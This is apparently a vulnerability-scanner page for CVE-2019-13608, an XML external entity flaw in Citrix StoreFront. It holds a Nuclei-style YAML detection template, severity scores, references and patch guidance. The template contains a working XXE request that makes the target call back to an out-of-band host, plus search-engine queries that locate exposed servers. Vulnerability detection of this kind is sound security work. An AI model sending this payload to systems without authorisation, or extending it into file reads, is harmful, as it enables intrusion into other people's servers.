Citrix StoreFront Server - XML External Entity
CVE-2019-13608
Verified
Description
Citrix StoreFront Server before 1903, 7.15 LTSR before CU4 (3.12.4000), and 7.6 LTSR before CU8 (3.0.8000) allows XXE attacks.
Severity
High
CVSS Score
7.5
Exploit Probability
71%
Affected Product
storefront_server
Published Date
January 22, 2026
Template Author
daffainfo
CVE-2019-13608.yaml
id: CVE-2019-13608
info:
name: Citrix StoreFront Server - XML External Entity
author: daffainfo
severity: high
description: |
Citrix StoreFront Server before 1903, 7.15 LTSR before CU4 (3.12.4000), and 7.6 LTSR before CU8 (3.0.8000) allows XXE attacks.
impact: |
Attackers can read arbitrary files, perform server-side request forgery, or cause denial of service through XXE attacks.
remediation: |
Update to version 1903 or later for StoreFront, CU4 or later for 7.15 LTSR, CU8 or later for 7.6 LTSR.
reference:
- https://www.exploit-db.com/exploits/47561
- https://support.citrix.com/support-home/kbsearch/article?articleNumber=CTX251988
- https://nvd.nist.gov/vuln/detail/CVE-2019-13608
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2019-13608
cwe-id: CWE-611
epss-score: 0.71255
epss-percentile: 0.98734
cpe: cpe:2.3:a:citrix:storefront_server:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: citrix
product: storefront_server
shodan-query: "/Citrix/StoreWeb"
fofa-query: "/Citrix/StoreWeb"
tags: cve,cve2019,citrix,storefront_server,xxe,kev,vkev
http:
- raw:
- |
POST /Citrix/StoreAuth/ExplicitForms/Start HTTP/1.1
Host: {{Hostname}}
Content-Type: application/vnd.citrix.requesttoken+xml
Accept: application/vnd.citrix.requesttokenresponse+xml, text/xml, application/vnd.citrix.authenticateresponse-1+xml
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE requesttoken [<!ENTITY % xxe SYSTEM "http://{{interactsh-url}}"> %xxe; ]>
<requesttoken xmlns="http://citrix.com/delivery-services/1-0/auth/requesttoken">
<for-service>6b78ab94-a709-4e3a-8b9b-a49ca317c70c</for-service>
<for-service-url>https://www.example.com/Citrix/Store/resources/v2</for-service-url>
<reqtokentemplate />
<requested-lifetime>1.00:00:00</requested-lifetime>
</requesttoken>
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "http"
- type: word
part: content_type
words:
- "vnd.citrix.authenticateresponse"
- type: word
part: body
words:
- "<AuthenticateResponse"
- "error-bad-request"
condition: and
- type: status
status:
- 200
# digest: 4b0a00483046022100cbefe440140d3110983879b304c6a3aae272b6296e56247fdcc1454eb5346994022100b824fcae04995faa8e15f1fc58c9bb1a4bd5c64cddf53cc0d2e31f43271a02a4:922c64590222798bb761d5b6d8e729507.5Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CVE ID:
cve-2019-13608
CWE ID:
cwe-611
Remediation Steps
Update to version 1903 or later for StoreFront, CU4 or later for 7.15 LTSR, CU8 or later for 7.6 LTSR.